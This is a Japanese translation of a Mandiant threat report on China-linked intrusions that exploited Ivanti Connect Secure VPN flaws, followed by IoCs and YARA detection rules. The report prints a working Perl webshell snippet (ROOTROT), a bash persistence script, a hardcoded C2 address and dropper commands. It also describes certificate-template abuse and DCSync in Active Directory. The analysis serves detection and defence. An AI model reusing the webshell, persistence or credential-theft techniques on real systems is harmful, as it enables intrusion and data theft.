最先端の脅威 - Part 4: Ivanti Connect Secure VPN の脆弱性悪用後のラテラル ムーブメントに関する事例紹介
Mandiant
※この投稿は米国時間 2024 年 4 月 5 日に、Google Cloud blog に投稿されたものの抄訳です。
2024 年 1 月 10 日に CVE-2023-46805 と CVE-2024-21887 が初めて公表されて以来、Mandiant は、幅広い業種と地域で複数のインシデント対応業務を実施してきました。Mandiant の過去のブログ投稿「最先端の脅威 - Part 3: Ivanti Connect Secure VPN の悪用と永続性の調査」では、Mandiant が UNC5325 として追跡しており、中国との関連性が疑われるエスピオナージ アクターによる CVE-2024-21893 と CVE-2024-21887 のゼロデイ悪用について詳しく説明しています。
このブログ投稿と、Ivanti の脆弱性悪用について詳述している Mandiant の過去のレポートでは、パッチや適切な緩和策が適用されていない脆弱な Ivanti Connect Secure アプライアンスで Mandiant が観測してきたさまざまな種類のアクティビティが明確に示されています。
Mandiant は、オープンソース ツールやカスタム マルウェア ファミリーの展開によってサポートされるラテラル ムーブメントを含む、脆弱性悪用後の多様なアクティビティをインシデント対応業務の中で観測してきました。また、中国との関連性が疑われる脅威アクターが、目的達成のためにアプライアンス固有の機能を悪用し、Ivanti Connect Secure の理解を進化させていることも見てきました。
2024 年 4 月 3 日より、脆弱性の影響を受ける Ivanti Connect Secure のすべてのサポート対象バージョンに対してパッチを適用できます。Ivanti の最新のパッチ適用ガイダンスと、脆弱性を悪用した追加のアクティビティを防ぐための指示に従うことをおすすめします。また、Ivanti は、ファクトリーリセットやシステム アップグレードに対抗するマルウェア永続化の試行や、実際の環境で観測されているその他の戦術、技術、手順(TTP)を検出するための強化された新しい完全性チェックツール(ICT)をリリースしました。Mandiant も、推奨事項を含む修復とセキュリティ強靭化のガイドをリリースしました。
Mandiant は、内部の ICT と、包括的な多層防御戦略の一環として 2024 年 4 月 3 日に新しいパッチとともにリリースされた最新の外部 ICT の両方を実行することをおすすめします。Mandiant は、このプロセスを通じた Ivanti の協力、情報公開、継続的なサポートに感謝しています。
クラスタリングとアトリビューション
Mandiant は、インシデント対応調査を通じて、CVE-2023-46805、CVE-2024-21887、CVE-2024-21893 を悪用するアクティビティのクラスタを複数追跡しています。また、中国との関連性が疑われるエスピオナージ グループに加え、おそらくクリプトマイニングなどの活動を目的として CVE-2023-46805 と CVE-2024-21887 を悪用する金銭目的のアクターを特定しました。Mandiant は、これらの Ivanti CVE のうち 1 つ以上の悪用に関与する 8 つの異なるクラスタを 2024 年 1 月 10 日の公表以来観測してきました。これらのうち、ここでは侵入を実施した中国関連の 5 つのクラスタを取り上げます。
2024 年 2 月、Mandiant は UNC5291 として追跡されているアクティビティのクラスタを特定し、米国のエネルギー部門と防衛部門を標的とする Volt Typhoon であると評価しています(確度は中程度)。UNC5291 キャンペーンは 2023 年 12 月に Citrix Netscaler ADC を標的とし、2024 年 1 月中旬に Ivanti Connect Secure アプライアンスを調査しましたが、Mandiant は Volt Typhoon が Ivanti Connect Secure の侵害に成功したことを直接は観測していません。
UNC5221
UNC5221 は、CVE-2023-46805 と CVE-2024-21887 を 2023 年 12 月上旬以降の公表前期間中に悪用していた唯一のグループとして Mandiant が追跡している、中国との関連が疑われるアクターです。Mandiant の過去のブログ投稿に記載されているように、UNC5221 は 2024 年 1 月 10 日の公表後も CVE-2023-46805 と CVE-2024-21887 を広範にわたって悪用しました。
UNC5266
Mandiant は、Bishop Fox の SLIVER インプラント フレームワーク、WARPWIRE の亜種、Mandiant が TERRIBLETEA と名付けた新しいマルウェア ファミリーの展開につながる公表後の脆弱性悪用を追跡するために、UNC5266 を作成しました。現時点では、観測されたインフラストラクチャ使用の類似点に基づき、Mandiant は UNC5266 が UNC3569 と一部重なっているのではないかと考えています(確度は中程度)。UNC3569 は、ターゲット環境への初期アクセスを目的とする Aspera Faspex、Microsoft Exchange、Oracle Web Applications Desktop Integrator などの脆弱性悪用が観測された中国関連のエスピオナージ アクターです。
UNC5330
UNC5330 は、中国との関連が疑われるエスピオナージ アクターです。UNC5330 による Ivanti Connect Secure VPN アプライアンスの侵害を目的とした CVE-2024-21893 と CVE-2024-21887 のチェイニングは、2024 年 2 月から観測されてきました。UNC5330 による侵害後のアクティビティには、PHANTOMNET と TONERJAM の展開が含まれます。UNC5330 は、偵察、ラテラル ムーブメント、レジストリ エントリの操作、永続性の確立に Windows Management Instrumentation(WMI)を使用してきました。
Mandiant は、UNC5330 がサーバーを操作し、エンドポイントへの悪意のあるツール展開を促進する GOST プロキシとして使用していることを 2021 年 12 月 6 日から観測していました。GOST プロキシのデフォルト証明書は、2022 年 9 月 1 日から 2024 年 1 月 1 日まで観測されていました。また、UNC5330 は、侵害された Ivanti Connect Secure デバイスを経由し、2024 年 2 月 3 日にこのサーバーから Fast Reverse Proxy(FRP)をダウンロードしようとしました。SSH 認証鍵の再利用と、これらのイベントの時間差が小さいことを考慮し、Mandiant は UNC5330 が少なくとも 2021 年からこのサーバーを経由して活動してきたと評価しています(確度は中程度)。
UNC5337
UNC5337 は、2024 年 1 月から Ivanti Connect Secure VPN アプライアンスを侵害してきた、中国との関連が疑われるエスピオナージ アクターです。UNC5337 は、Ivanti Connect Secure アプライアンスを感染させるため、CVE-2023-46805(認証のバイパス)と CVE-2024-21887(コマンド インジェクション)を悪用した疑いがもたれています。UNC5337 は、SPAWNSNAIL パッシブ バックドア、SPAWNMOLE トンネラ、SPAWNANT インストーラ、SPAWNSLOTH ログ改ざんユーティリティを含む複数のカスタム マルウェア ファミリーを利用しました。Mandiant は、UNC5337 が UNC5221 ではないかと考えています(確度は中程度)。
UNC5291
UNC5291 は、一般に Volt Typhoon としても知られる UNC3236 と関連すると Mandiant が評価する(確度は中程度)、標的型調査アクティビティのクラスタです。このクラスタのアクティビティは、2023 年 12 月に始まった時点では Citrix Netscaler ADC を主な標的としていましたが、2024 年 1 月半ばの詳細公表後は Ivanti Connect Secure デバイスに標的を切り替えました。学術、エネルギー、防衛、保健の分野に対する調査が観測されましたが、これは過去に Volt Typhoon が重要インフラに関心を示していたことと整合します。2024 年 2 月に、米国サイバーセキュリティ インフラストラクチャ セキュリティ庁(CISA)は、Volt Typhoon が重要インフラを標的にしており、初期アクセスに関して Ivanti Connect Secure デバイスに関心を持っている可能性があるという勧告的警告を発表しました。
新しい TTP とマルウェア
Mandiant は、Ivanti の脆弱性悪用に関する前のブログ記事を公開した後、脅威アクターがターゲット環境へのアクセスとその中でのラテラル ムーブメントに使用した追加の TTP を特定しました。また、Ivanti Connect Secure アプライアンスの脆弱性の悪用後に脅威アクターが利用した新しいコード ファミリーも複数特定しました。これらのコード ファミリーのうち複数がカスタム マルウェア ファミリーであると評価されていますが、Mandiant は SLIVER や CrackMapExec などのオープンソース ツールの使用も特定しています。
SPAWN マルウェア ファミリー
Mandiant は、UNC5221 によって侵害された Ivanti Connect Secure アプライアンスの分析中に、感染したアプライアンス上に永続的なステルス バックドアを作成するために密接に連携する 4 つの異なるマルウェア ファミリーを発見しました。これらのマルウェア ファミリーは、長期的なアクセスを可能にして検出を回避するように設計されていると評価しています。
図 1 は、SPAWN マルウェア ファミリーの動作を示しています。


図 1: SPAWN マルウェア ファミリーの仕組み
SPAWNANT
SPAWNANT は、coreboot インストーラ ファンクションを使用して、SPAWNMOLE トンネラと SPAWNSNAIL バックドアの永続性を確立するインストーラです。正規の dspkginstall インストーラ プロセスをハイジャックし、sprintf ファンクションをエクスポートして、フローを vsnprintf にリダイレクトする前に悪意のあるコードを追加します。
SPAWNMOLE
SPAWNMOLE は、web プロセスにインジェクションされるトンネラです。web プロセスで accept ファンクションをハイジャックし、トラフィックをモニタリングして、攻撃者からの悪意のあるトラフィックを除外します。悪意のない残りのトラフィックは、変更されずに正規のウェブサーバー ファンクションに渡されます。悪意のあるトラフィックは、バッファで攻撃者から提供されたホストにトンネリングされます。Mandiant は、攻撃者は SPAWNSNAIL が動作しているローカルポートを通過してバックドアにアクセスする可能性が高いと評価しています。
-
このマルウェアは web というプロセスへのインジェクションを試みます。
-
このマルウェアは web プロセス内の libc バイナリから accept API のハイジャックを試みます。
-
このマルウェアは、インジェクションにサードパーティ ライブラリを使用するため、PIE(位置に依存しない実行可能ファイル)として特別にコンパイルされています。
-
マルウェア トラフィックは、受信バッファの 0xfb49e3e2(オフセット 0x13)と 0x1bc38361(オフセット 0x1b)を含むヘッダーで始まる必要があります。
SPAWNSNAIL
SPAWNSNAIL(libdsmeeting.so)は、localhost をリッスンするバックドアです。dsmdm プロセス(モバイル デバイス管理機能をサポートするプロセス)へのインジェクションによって実行されるよう設計されています。localhost ポート 8300 で限定された SSH サーバーを公開することでバックドアを作成します。Mandiant は、攻撃者が SPAWNMOLE トンネラを使用して SPAWNSNAIL を操作していると評価しています。
SPAWNSNAIL の 2 つ目の目的は、Connect Secure でのイベントのロギングをサポートするプロセスである dslogserver への SPAWNSLOTH(.liblogblock.so)のインジェクションです。
SPAWNSNAIL では、バイナリ名が dsmdm であるかどうかがチェックされます。この名前で実行中の場合は、以下の 2 つのスレッドが作成されます。
-
1 つ目のスレッドでは、ハードコードされた SSH ホストの秘密鍵が /tmp/.dskey にドロップされ、その秘密鍵を使用するよう libssh が構成された後、/tmp/.dskey が削除されます。このマルウェアはポート 8300 の localhost にバインドされます。
-
SSH サーバーでは公開鍵認証が要求されます。
-
対話型のシェル セッションの開始時に、このマルウェアによってシステムに関する統計を含むバナーが印刷されます。リリース、稼働時間、現在の時刻、SELinux が有効かどうかに関する情報が印刷されます。その後、SPAWNSNAIL により対話型の bash シェルが実行されます。
-
2 つ目のスレッドにより、dslogserver プロセスへのログ改ざんユーティリティ SPAWNSLOTH(/tmp/.liblogblock.so)のインジェクションが最大 3 回実行されます。
SPAWNSLOTH
SPAWNSLOTH は、dslogserver プロセスにインジェクションされるログ改ざんユーティリティです。PAWNSNAIL バックドアの動作中に、ロギングと外部 Syslog サーバーへのログ転送を無効にできます。
SPAWNSLOTH は、funchook を使用して _ZN5DSLog4File3addEPKci ファンクション(dslogserver のロギング ファンクションと想定される)をフックします。また、g_do_syslog_servers_exist_p シンボルを変更します。これは、イベントログを外部 Syslog サーバーに転送するかどうかを制御するグローバル変数のポインタです。
SPAWNSLOTH は、共有メモリを介したプロセス間通信(IPC)を使用して SPAWNSNAIL バックドアと通信します。SPAWNSNAIL の実行中にのみ、ロギングがブロックされます。
ルートへの到達
Mandiant は、UNC5221 によって侵害された Ivanti Connect Secure アプライアンスの調査中に、ROOTROT として追跡している新しいウェブシェルを特定しました。ROOTROT は、CVE-2023-46805 と CVE-2024-21887 を悪用することで /data/runtime/tmp/tt/setcookie.thtml.ttc にある正規の Connect Secure .ttc ファイルに埋め込まれる、Perl で記述されたウェブシェルです。setcookie.thtml.ttc はアプライアンスの書き込み可能なパーティションにあり、CVE-2019-11539 と CVE-2020-8218 に関連する過去の Pulse Connect Secure 悪用イベントで同じファイルが悪用されました。
図 2 は、ROOTROT を含む setcookie.thmtl.ttc ファイルに挿入されたコードを示しています。このウェブシェルには、/dana-na/auth/setcookie.cgi でアクセスできます。これにより、発行済みのデコードされた Base64 エンコード コマンドが解析され、eval を使用して実行されます。
$output .= "</body>\n\n</html>\n";
$output .= "<!--\n";
my $key = CGI::param('[REDACTED]');
use MIME::Base64;
if(defined($key)){
my $arg=decode_base64("$key");
eval($arg);
}
$output .= "-->\n";
} };
if ($@) {
$error = $context->catch($@, \$output);
die $error unless $error->type eq 'return';
}
return $output;
},
図 2: setcookie.thtml.ttc ファイルに挿入されたコードブロック
Mandiant は調査中に、2024 年 1 月 10 日の関連する CVE の公表前にシステムでウェブシェルが作成されていたことを特定しました。これは、標的型攻撃がさらに行われることを示しています。防御者は、/dana-na/auth/setcookie.cgi からの応答の末尾にある <!--\n と -->\n によって ROOTROT の存在を検出できます。
2024 年 4 月 3 日より、最新の外部 ICT で setcookie.thtml.ttc の変更が検出されます。
vCenter の侵害につながるラテラル ムーブメント
UNC5221 によって Connect Secure アプライアンスに ROOTROT が展開され、足場が確立された後、被害組織のネットワークに対するネットワーク偵察が開始され、VMware vCenter サーバーへのラテラル ムーブメントが実行されました。Mandiant は、UNC5221 のラテラル ムーブメントに最初は vCenter ウェブ コンソール、その後は SSH が使用されたことを特定しました。
vCenter サーバーへのラテラル ムーブメントの後、UNC5221 は環境内の他のサーバーと整合する命名規則を使用して vCenter で新しい仮想マシンを 3 回作成しました。仮想マシンの作成は成功しましたが、Mandiant は UNC5221 が仮想マシンの実行や使用に成功した証拠を特定できませんでした。
その後、UNC5221 は SSH を使用して vCenter アプライアンスにアクセスし、BRICKSTORM バックドアをアプライアンスにダウンロードしました(/home/vsphere-ui/vcli)。注目すべきは、BRICKSTORM が正規の vCenter プロセス vami-http のふりをしているように見えることです。
BRICKSTORM
BRICKSTORM は、VMware vCenter サーバーを標的とする Go バックドアです。それ自体をウェブサーバーとして設定し、ファイル システムとディレクトリの操作、アップロードやダウンロードなどのファイル操作、シェルコマンド、SOCKS リレーを実行できます。BRICKSTORM は、WebSocket を介してハードコードされた C2 と通信します。
実行時に、BRICKSTORM は環境変数 WRITE_LOG をチェックして、ファイルを子プロセスとして実行する必要があるかどうかを決定します。この変数が false を返すか、未設定の場合、BRICKSTORM サンプルが /home/vsphere-ui/vcli から /opt/vmware/sbin に vami-httpd としてコピーされます。その後、コピーされた BRICKSTORM サンプルが実行され、実行が終了します。
WRITE_LOG が true に設定されていると、正しいプロセスとして実行されていると想定され、/opt/vmware/sbin/vami-httpd が削除されて、実行が続けられます。
BRICKSTORM には、セルフモニタリング機能を含む Watcher という個別のファンクションがあります。環境変数 WORKER が false を返すか、未設定の場合、モニタリングが続行され、ファイル /home/vsphere-ui/vcli がチェックされ、内容が /opt/vmware/sbin/vami-httpd にコピーされます。その後、適切な環境変数が設定され、プロセスが生成されます。その後、Watcher プロセスで、子プロセスの終了ステータスのモニタリングが開始されます。
環境変数 WORKER が true に設定されていることが検出された場合、それはバックドア機能を実行するために生成されたワーカー プロセスであると想定され、残りの Watcher ファンクションはスキップされます。
BRICKSTORM は、WebSocket を使用して C2 と通信します。このサンプルには、wss://opra1.oprawh.workers[.]dev のハードコードされた WebSocket アドレスが含まれます。また、以下のような正規の DNS-over-HTTPS(DoH)アドレスも含まれます。
https://9.9.9.9/dns-query
https://45.90.28.160/dns-query
https://45.90.30.160/dns-query
https://149.112.112.112/dns-query
https://9.9.9.11/dns-query
https://1.1.1.1/dns-query
https://1.0.0.1/dns-query
https://8.8.8.8/dns-query
https://8.8.4.4/dns-query
図 3: DNS-over-HTTPS アドレス
BRICKSTORM は、wssoft というカスタム Go パッケージを利用しているようです。この名前で一般公開されている既知の Go パッケージは存在しません。これは、マルウェアのタスク処理と接続処理を実行するためにマルウェア作成者によって開発されたメイン パッケージである可能性があります。
表 1 では、wssoft で提供される 4 つのコア ファンクションが示されています。
表 1: wssoft の機能
バックドア機能が有効な場合、受信コマンドを処理するためのウェブサーバーが生成されます。Gorilla/mux を使用してエンドポイント ルーティングを処理し、lonnng/nex を使用してデータを JSON に整理します。
表 2 は、POST リクエストを介した BRICKSTORM バックドアへの通信に使用されるエンドポイントを示しています。
表 2: BRICKSTORM のエンドポイント
Active Directory の侵害につながるラテラル ムーブメント
UNC5330 は、Cutting Edge パート 3 で説明されている CVE-2024-21893 と CVE-2024-21887 のチェイニング戦術により、被害組織環境への初期アクセスを達成しました。アクセスの達成直後に、UNC5330 は侵害された Ivanti Connect Secure アプライアンスで構成された LDAP バインド アカウントを利用して脆弱性のある Windows Certificate Template を悪用し、コンピュータ オブジェクトを作成して、ドメイン管理者に証明書を要求しました。その後、脅威アクターはドメイン管理者になりすまして後続の DCSync を実行し、ラテラル ムーブメントのため追加の認証情報を抽出しました。
攻撃パスの図


図 4: UNC5330 の攻撃パスの図
Windows Certificate Template の悪用
UNC5330 は、LDAP バインド操作用に Ivanti アプライアンスで構成された ldap-ivanti アカウントを使用して、ドメイン コンピュータ オブジェクト testComputer$ を作成しました。UNC5330 は、新たに作成された testComputer$ コンピュータ オブジェクトを使用して、ドメイン コンピュータに登録権利を付与した脆弱性のある証明書テンプレートからの証明書を要求しました。UNC5330 は、ドメイン管理者アカウントの証明書を要求し、その証明書を使用して Kerberos TGT を取得し、DCSync 攻撃を実行して、ラテラル ムーブメントを可能にする追加のドメイン認証情報を取得しました。
ドメイン管理者権限を取得すると、UNC5330 は WMI を利用して TONERJAM ランチャーと PHANTOMNET バックドアを展開しました。
WMI イベント コンシューマ
WMI は、スケジュール設定され、後で削除されるタスクを作成、実行することを主な手段としてラテラル ムーブメントを実行し、被害組織環境内で永続性を確立するために使用されました。ActiveScript イベント コンシューマにより、以下が実行されました。
-
トリガーのタイプ 7(登録時のタスク開始)でスケジュールされたタスクを作成、登録することによる cmd.exe を使用したコマンドの実行
-
C:\Windows\Temp の .log ファイルに対するコマンド出力の書き込み
-
スケジュールされたタスクの削除
この動作と、WMI アーティファクトと出力ファイルの両方に使用される命名規則は、SMB に依存しない WMI 実行用に DCE と RPC を実装する CrackMapExec の最新バージョンと整合しています。Mandiant は、この手法が TONERJAM と PHANTOMNET の展開に使用されていることを観測しました。
TONERJAM
TONERJAM は、暗号化されたローカル ファイルとして保存されたシェルコード ペイロード(この場合は PHANTOMNET)を復号して実行し、暗号化されたペイロードの最後の 16 バイトの SHA ハッシュから取得された AES キーを使用して復号するランチャーです。TONERJAM は、実行時に付与された権限に応じ、Run レジストリキーを使用するか、COM オブジェクトをハイジャックすることで永続性を維持します。
PHANTOMNET
PHANTOMNET は、TCP を介し、カスタム通信プロトコルを使用して通信するモジュール型バックドアです。PHANTOMNET のコア機能には、プラグイン管理システムによる機能の拡張が含まれます。ダウンロードされたプラグインは、メモリに直接マッピングされ、実行されます。
SLIVER C2
別の侵入時に、UNC5266 は構成されたコマンド&コントロール(C&C)サーバーと同じ IP アドレスでホストされる Python SimpleHTTP サーバーから SILVER のコピーを取得しました。SLIVER のコピーは、侵害されたアプライアンスの 3 つの別々の場所に配置され、正規のシステム ファイルのふりをしようとしました。UNC5266 は、systemd サービス ファイルを変更し、SLIVER のコピーの 1 つを永続デーモンとして登録しました。
表 3: SLIVER のコンポーネント
また、UNC5266 は 最先端の脅威 - Part 2 で報告された WARPWIRE の亜種を利用しました。この亜種は、ルワンダにある侵害されたウェブサーバーから UNC5266 がダウンロードしたと Mandiant は考えています。WARPWIRE の亜種の詳細については、最先端の脅威 - Part 2 のブログの図 18 をご覧ください。
TERRIBLETEA
別の侵入時に、UNC5266 は SLIVER の操作で使用したものと同じ WARPWIRE サンプルを使用しました。しかし、SLIVER の代わりに、UNC5266 は Mandiant が TERRIBLETE と名付けた Go バックドアを展開しました。この侵入で、アクターは curl を使用してバックドアをダウンロードしようとしましたが、ログによるとこの試みは失敗に終わりました。curl を使用したダウンロードが最後に失敗してから 7 分後、UNC5266 は匿名ファイル共有サイト pan.xj.hk への wget リクエストを実行しました。UNC5266 は、この中間の 7 分間に TERRIBLETEA をファイル共有サイトにアップロードしたと考えられます。
TERRIBLETEA は、HTTP を介して通信し、暗号化された通信には XXTEA を使用する Go バックドアです。複数のオープンソース Go モジュールを使用して構築されており、以下を含む多数の機能を備えています。
-
コマンドの実行
-
キーロガー
-
SOCKS5 プロキシ
-
ポートスキャン
-
ファイル システム操作
-
SQL クエリ実行
-
画面キャプチャ
-
新しい SSH セッションを開き、コマンドを実行し、ファイルをリモート サーバーにアップロードする機能。以下のコマンドを実行できます。
-
chmod +x /tmp/.udevd
-
/tmp/.udevd <args>
-
ls -lahrt /home/
TERRIBLETEA は、linux_amd64 環境と darwin_amd64 環境のどちら向けに構成されているかに応じて、実行パスを選択できます。ここでは、TERRIBLETEA は linux_amd64 環境向けに構成されています。サンプルは、/etc/profile.d/cron.sh にある Bash プロファイル スクリプトを使用して永続化されます。
# Initialization script for bash and sh
# export AFS if you are in AFS environment
a=`ps -fe|grep /bin/cron |grep -v grep|wc|awk '{print$1}'`
if [ "$a" -eq 0 ]
then
/bin/cron
fi
図 5: TERRIBLETEA の Bash プロファイル スクリプト
見通しと影響
このブログと、最近公開され、Ivanti Connect Secure アプライアンスを標的とする UNC5325 に焦点を当てた 最先端の脅威 - Part 3 は、エッジ アプライアンスが直面する脅威を明確に示しています。Mandiant は、活動のためにゼロデイと N デイの脆弱性を積極的に利用し、世界中の組織を攻撃している中国関連の脅威アクターを引き続き監視していきます。
Mandiant は、エッジ アプライアンスに対する脆弱性の悪用を受け、幅広い TTP を引き続き監視していきます。以前に報告したように、中国と関連する脅威アクターは防御者による検出を回避するためにステルス性を進化させ続けています。オープンソース ツールの使用がある程度一般的になっていますが、標的とするアプライアンスや環境向けのカスタム マルウェアを利用するアクターについて、Mandiant は監視を継続していきます。
セキュリティ侵害インジケーター(IoC)
ホストベース インジケーター(HBI)
表 4: ホストベース インジケーター
ネットワークベース インジケーター(NBI)
表 5: ネットワークベース インジケーター
YARA ルール
rule M_Hunting_Webshell_ROOTROT_1 {
meta:
author = "Mandiant"
description = "This rule detects ROOTROT, a web shell written in
Perl that is embedded into a legitimate Pulse Secure .ttc file to
enable arbitrary command execution."
md5 = "c7ffd2c06e9b7e8e0b7ac92a0dbe3294"
strings:
$s1 = "use MIME::Base64" ascii
$s2 = {6d 79 20 24 61 72 67 3d 64 65 63 6f 64 65 5f 62 61 73
65 36 34 28 22 24 6b 65 79 22 29}
$s3 = {24 6f 75 74 70 75 74 20 2e 3d 20 22 3c 21 2d 2d 5c 6e
22 3b}
$s4 = {22 3c 2f 62 6f 64 79 3e 5c 6e 5c 6e 3c 2f 68 74 6d 6c 3e
5c 6e 22}
condition:
filesize < 4KB
and all of them
}
rule M_Hunting_Backdoor_BRICKSTORM_1 {
meta:
author = "Mandiant"
created = "2024-01-30"
md5 = "4645f2f6800bc654d5fa812237896b00"
descr = "Hunting rule looking for BRICKSTORM golang backdoor samples"
strings:
$v1 = "/home/vsphere-ui/vcli" ascii wide
$v2 = "/opt/vmware/sbin" ascii wide
$v3 = "/opt/vmware/sbin/vami-httpd" ascii wide
$s1 = "github.com/gorilla/mux" ascii wide
$s2 = "WRITE_LOG=true" ascii wide
$s3 = "wssoft" ascii wide
condition:
uint32(0) == 0x464c457f and filesize < 6MB and 1 of ($v*) and 2 of ($s*)
}
import "pe"
rule M_APT_Backdoor_Win_PHANTOMNET_1
{
meta:
author = "Mandiant"
md5 = "59f4d38a5caafbc94673c6d488bf37e3"
strings:
$phantomnet = /\\PhantomNet-\w{1,10}\.pdb/ ascii nocase
condition:
(uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550)
and all of them
}
rule M_APT_Backdoor_SLIVER_1
{
meta:
Author = “Mandiant”
description = "Detects Windows, MacOS and ELF variants
of the Sliver implant framework"
md5 = "5ecd0c38501dfb02b682cec0a2d93aa9"
strings:
$s1 = ".InvokeSpawnDllReq"
$s2 = ".(*InvokeSpawnDllReq).Reset"
$s3 = ".(*InvokeSpawnDllReq).ProtoMessage"
$s4 = ".(*InvokeSpawnDllReq).ProtoReflect"
$s5 = ".(*InvokeSpawnDllReq).Descriptor"
$s6 = ".(*InvokeSpawnDllReq).GetData"
$s7 = ".(*InvokeSpawnDllReq).GetProcessName"
$s8 = ".(*InvokeSpawnDllReq).GetArgs"
$s10 = ".(*InvokeSpawnDllReq).GetKill"
$s11 = ".(*InvokeSpawnDllReq).GetPPid"
$s12 = ".(*InvokeSpawnDllReq).GetProcessArgs"
$s13 = ".(*InvokeSpawnDllReq).GetRequest"
$s14 = ".(*InvokeSpawnDllReq).String"
$s15 = ".(*InvokeSpawnDllReq).GetEntryPoint"
condition:
((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550)
or uint32(0) == 0x464c457f or (uint32(0) == 0xBEBAFECA or uint32(0)
== 0xFEEDFACE or uint32(0) == 0xFEEDFACF or uint32(0) == 0xCEFAEDFE))
and 5 of ($s*)
}
rule M_APT_Backdoor_TERRIBLETEA_1 {
meta:
author = "Mandiant"
description = "This rule is designed to detect on events related
to terribletea. TERRIBLETEA is a backdoor written in Go that communicates
over HTTP. Its many capabilities include shell command execution,
capturing screens, keystroke logging, port scanning, enumerating files,
starting a SOCKS5 proxy and new SSH session, downloading files, and
executing SQL queries."
md5 = "bb3b286f88728060c80ea65993576ef8"
strings:
$code_part_of_getcommand = {48 BA 44 61 74 61 31 73 33 6E
[1-12] 80 7B ?? 64}
$code_get_task = { 48 8D [5] B9 04 00 00 00 48 8B ?? 24 [4] 48
8D [5] 41 B8 03 00 00 00 E8}
$func1 = "SendRequest" fullword
$func2 ="UploadResult"
$func3 ="Online"
$func4 ="GetCommond"
condition:
all of ($code*) and any of ($func*) and filesize<20MB
}
rule M_Launcher_TONERJAM_1
{
meta:
author = "Mandiant"
description = "This rule detects TONERJAM, a launcher that
decrypts and executes a shellcode payload stored as an encrypted
local file and decrypts it using an AES key derived from a SHA hash
of the final 16 bytes of the encrypted payload."
strings:
$p00_0 = {e9[4]488b41??668338??75??4883c0??488941??b8[4]eb??b8}
$p00_1 = {8030??488d40??41ffc14183f9??72??ba[4]488d4c24??e8[4]488d0d}
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
(
($p00_0 in (17000..28000) and $p00_1 in (3700..14000))
)
}
rule M_APT_Installer_SPAWNSNAIL_1
{
meta:
author = "Mandiant"
description = "Detects SPAWNSNAIL. SPAWNSNAIL is an SSH
backdoor targeting Ivanti devices. It has an ability to inject a specified
binary to other process, running local SSH backdoor when injected to
dsmdm process, as well as injecting additional malware to dslogserver"
md5 = "e7d24813535f74187db31d4114f607a1"
strings:
$priv = "PRIVATE KEY-----" ascii fullword
$key1 = "%d/id_ed25519" ascii fullword
$key2 = "%d/id_ecdsa" ascii fullword
$key3 = "%d/id_rsa" ascii fullword
$sl1 = "[selinux] enforce" ascii fullword
$sl2 = "DSVersion::getReleaseStr()" ascii fullword
$ssh1 = "ssh_set_server_callbacks" ascii fullword
$ssh2 = "ssh_handle_key_exchange" ascii fullword
$ssh3 = "ssh_add_set_channel_callbacks" ascii fullword
$ssh4 = "ssh_channel_close" ascii fullword
condition:
uint32(0) == 0x464c457f and $priv and any of ($key*)
and any of ($sl*) and any of ($ssh*)
}
rule M_APT_Installer_SPAWNANT_1
{
meta:
author = "Mandiant"
description = "Detects SPAWNANT. SPAWNANT is an
Installer targeting Ivanti devices. Its purpose is to persistently
install other malware from the SPAWN family (SPAWNSNAIL,
SPAWNMOLE) as well as drop additional webshells on the box."
strings:
$s1 = "dspkginstall" ascii fullword
$s2 = "vsnprintf" ascii fullword
$s3 = "bom_files" ascii fullword
$s4 = "do-install" ascii
$s5 = "ld.so.preload" ascii
$s6 = "LD_PRELOAD" ascii
$s7 = "scanner.py" ascii
condition:
uint32(0) == 0x464c457f and 5 of ($s*)
}
rule M_APT_Tunneler_SPAWNMOLE_1
{
meta:
author = "Mandiant"
description = "Detects a specific comparisons in SPAWNMOLE
tunneler, which allow malware to filter put its own traffic .
SPAWNMOLE is a tunneler written in C and compiled as an ELF32
executable. The sample is capable of hijacking a process on the
compromised system with a specific name and hooking into its
communication capabilities in order to create a proxy server for
tunneling traffic."
md5 = "4f79c70cce4207d0ad57a339a9c7f43c"
strings:
/*
3C 16 cmp al, 16h
74 14 jz short loc_5655C038
0F B6 45 C1 movzx eax, [ebp+var_3F]
3C 03 cmp al, 3
74 0C jz short loc_5655C038
0F B6 45 C5 movzx eax, [ebp+var_3B]
3C 01 cmp al, 1
0F 85 ED 00 00 00 jnz loc_5655C125
*/
$comparison1 = { 3C 16 74 [1] 0F B6 [2] 3C 03 74 [1] 0F B6 [2]
3C 01 0F 85 }
/*
81 7D E8 E2 E3 49 FB cmp [ebp+var_18], 0FB49E3E2h
0F 85 CD 00 00 00 jnz loc_5655C128
81 7D E4 61 83 C3 1B cmp [ebp+var_1C], 1BC38361h
0F 85 C0 00 00 00 jnz loc_5655C128
*/
$comparison2 = { 81 [2] E2 E3 49 FB 0F 85 [4] 81 [2] 61 83 C3
1B 0F 85}
condition:
uint32(0) == 0x464c457f and all of them
}
rule M_APT_Utility_SPAWNSLOTH_1
{
meta:
author = "Mandiant"
description = "Detects SPAWNSLOTH. SPAWNSLOTH
is an Utility targeting Ivanti devices. Its purpose is to work
together with SPAWNSNAIL and block logging via dslogserver
process when SPAWNSNAIL backdoor is active."
md5 = "4acfc5df7f24c2354384f7449280d9e0"
strings:
$dslog = "dslogserver" ascii fullword
$hook1 = "g_do_syslog_servers_exist" ascii fullword
$hook2 = "_ZN5DSLog4File3addEPKci" ascii fullword
$hook3 = "funchook_create" ascii fullword
condition:
uint32(0) == 0x464c457f and all of them
}
-Mandiant, 作成者: Matt Lin, Austin Larsen、John Wolfram, Ashley Pearson, Josh Murchie, Lukasz Lamparski, Joseph Pisano, Ryan Hall, Ron Craft, Shawn Chew, Billy Wong, Tyler McLellan